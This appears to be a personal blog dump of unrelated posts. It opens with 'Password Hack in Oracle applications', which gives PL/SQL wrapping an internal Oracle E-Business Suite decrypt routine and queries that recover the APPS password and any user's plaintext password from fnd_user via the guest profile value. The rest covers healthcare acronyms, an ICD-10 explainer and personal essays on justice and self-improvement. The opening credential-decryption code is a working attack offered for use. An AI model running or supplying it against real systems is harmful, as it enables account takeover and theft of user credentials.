Password Hack in Oracle applications

--created Password cracking package
--
create or replace package get_pwd as
function decrypt(key in varchar2, value in varchar2)
return varchar2;
End get_pwd;

create or replace package body get_pwd as
function decrypt(key in varchar2, value in varchar2)
return varchar2 as
language javaname 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)
return java.lang.String';
End get_pwd;
--


--Get the apps password
select
get_pwd.decrypt(upper((select upper(fnd_profile.VALUE'GUEST_USER_PWD' from dual)),
usertable.encrypted_foundation_password) apps_password
from fnd_user usertable
where usertable.user_name like
upper((select substr(fnd_profile.value('GUEST_USER_PWD',1, instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1) from dual))
--

--'GUEST_USER_PWD' Profile
select fpov.profile_option_value, fpot.profile_option_name, fpot.descriptionfrom applsys.fnd_profile_options_TL fpot ,applsys.fnd_profile_options fpo ,applsys.fnd_profile_option_values fpovwhere fpov.profile_option_id = fpo.profile_option_id and fpo.profile_option_name = fpot.profile_option_name and fpo.profile_option_name = 'GUEST_USER_PWD'


--Get the password for any user
select fu.user_name,
(select get_pwd.decrypt((select get_pwd.decrypt(upper((select upper(fnd_profile.VALUE('GUEST_USER_PWD' )) from dual)) ,usertable.encrypted_foundation_password) apps_pwd
from fnd_user usertable
where usertable.user_name like upper((select substr(fnd_profile.value('GUEST_USER_PWD', 1, instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1) from dual))),fu.encrypted_user_password) from dual) EP
from fnd_user fu
where fu.user_name like upper('&username')
--

Query to check the responsibilities to a user

select fusr.user_name,
fr.responsibility_name,
fu.DESCRIPTION,
fu.START_DATE,
fu.END_DATE,
fu.RESPONSIBILITY_APPLICATION_ID,
fu.RESPONSIBILITY_ID,
fu.SECURITY_GROUP_ID,
fu.LAST_UPDATE_DATE,
fu.LAST_UPDATED_BY,
fu.CREATED_BY,
fu.CREATION_DATE,
fu.LAST_UPDATE_LOGIN,
fu.USER_ID
from FND_USER_RESP_GROUPS_DIRECT fu,
fnd_responsibility_tl fr,
fnd_user fusr
where fu.RESPONSIBILITY_ID = fr.Responsibility_Id
and fu.user_id = fusr.user_id
and fusr.user_name = &usrname
and nvl(fu.end_date,'31-Dec-4712') > sysdate
order by fu.user_Id,fu.end_date

Healthcare acronyms #1

ICD International Statistical Classification of Diseases and Related Health Problems
ICD-10 CM Diagnosis Coding System
ICD-10 PCS Procedure Classification System
JCAHO The Joint Commission, formerly the Joint Commission on Accreditation of Healthcare Organizations
NCQA National Committee for Quality Assurance
OCR Optical character recognition
DRG Diagnosis-related group
HCFA/CMS The Centers for Medicare and Medicaid Services (CMS), previously known as the Health Care Financing Administration (HCFA)
HEDIS The Healthcare Effectiveness Data and Information Set
PFS Patient Financial Specialist
TPA Third Party Administrator
VRU Voice Response Unit
EMR Electronic Medical Record
APC Ambulatory Payment Classifications
ASO Administrative Services Organization
UB04 Professional Paper Claim Submission form (Universal Billing)

ICD 10

What is ICD-10?
The International Statistical Classification of Diseases and Related Health Problems 10th Revision (ICD-10) is a coding of diseases and signs, symptoms, abnormal findings, complaints, social circumstances and external causes of injury or diseases, as classified by the World Health Organization (WHO).

When a physician evaluates a patient, the physician collects subjective and objective data (the "history and physical") to diagnose the patient’s condition and develop a plan for treatment. The most widely used diagnostic taxonomy in health care is the World Health Organization’s International Statistical Classification of Diseases and Related Health Problems (ICD).

Work on ICD-10 began in 1983 and was completed in 1992.

As of 2007, the United States is the only country in the industrialized world still using older ICD-9 codes for administration and health care delivery. The ICD-9 system was developed in the 1970s and contained structure/space limitations that constrained its ability to accommodate advances in medical knowledge and technology. ICD-10 codes address these issues and also help in morbidity and mortality reporting. Because the United States continues to use version ICD-9, it has difficulty comparing its health service utilization to other countries. Also, ICD-9’s age makes its content no longer clinically accurate with current medical science and U.S. adopted national/state ICD-10 mortality data cannot be compared to ICD-9..
ICD-10 is divided into two parts. One is ICD-10-CM, which defines the code set used to report inpatient and outpatient diagnoses (ICD-9 Volume 1 and 2). And the second is ICD-10-PCS for Procedure Coding System that defines the code set used to report inpatient procedures (ICD-9 Volume 3).

A thought provoking question on Justice and my answer

This is with regards to a question on justice
The question has more to it (as to how justice has different perceptions) and the answer is merely an act of deference and to my best a defence for justice...

There is a exquisite flute and there are three people from whom you need to chose one to give the flute.
The first one is who has made the flute. He took great care and pains to make the flute and thinks he deserves to own it.
The second one is a master at playing flutes. He generates exhilerating music from the flute and exceptionally talented with it. He thinks he deserves to own it.
The third one is a pauper who has had nothing in his life. The flute is the only thing that could make him happy atleast for a moment in his life. He wants to own it.

It you had that flute and had to give it to some one who would you justly give it to.

How would one justly decide as to who deserves the flue? All the three would be deserving in their own right. Perception of being just would differ from person to person...

My answer would be – Write 3 chits with each persons name on it. Put them all in a black box and pick out one chit. The flute goes to the person whose name is on the chit picked.

Here goes my explanation…..

In this world, I believe that there are only two persons known to me who are absolutely JUST
One is Mrs. Chance (luck/misfortune) and the other is Mr. Death. They are people who cannot be biased. Neither of them checks history. Both are futuristic.
The question posed to me is complex enough to be ‘justly’ deferred to an equally complex person Mrs. Chance. And that’s what I would do.


Really queer thoughts...nevermind!!

Leading Super Life

This is more about living life to my fullest and stretching myself beyond my capacity.

I have always wished to live life extra-ordinarily with all virtue possible. Always wanted to be exceptional and super (not to confuse with being outstanding where there is comparision with that others do, it is rather my intent to supercede what is out of my scope).

I could never come around my one limitation, i.e. could not be good at many things at a time. I reckon most of us are definitely good at one thing at a time. So what if we lead life in packets of time just like a chinese calendar having years of the ox, rabbit, dragon etc. What if I can tell myself that this year/month/week/day I would be living with a virtue or a set of virtues and fulfilling its expectation to the fullest. Idea here is to live life to its fullest realizable expectation which would otherwise not be possible. Live that packet of time to the fullest and to the best of your ability - dedicating a packet of time to a virtue that you cannot otherwise maintain through out your life . Live a complete year with unwavering sincerity and commitment or one full week with absolute honesty when you speak nothing but truth or a complete month with kindness and calm and when you are nothing but an exceptional individual. Thus living life in all it flavors and at the same time being the better than the best that you are.

You can be therefore be super through out the life. You need to give it a thought and organize yourself.

Thought for the day - 9/28/'09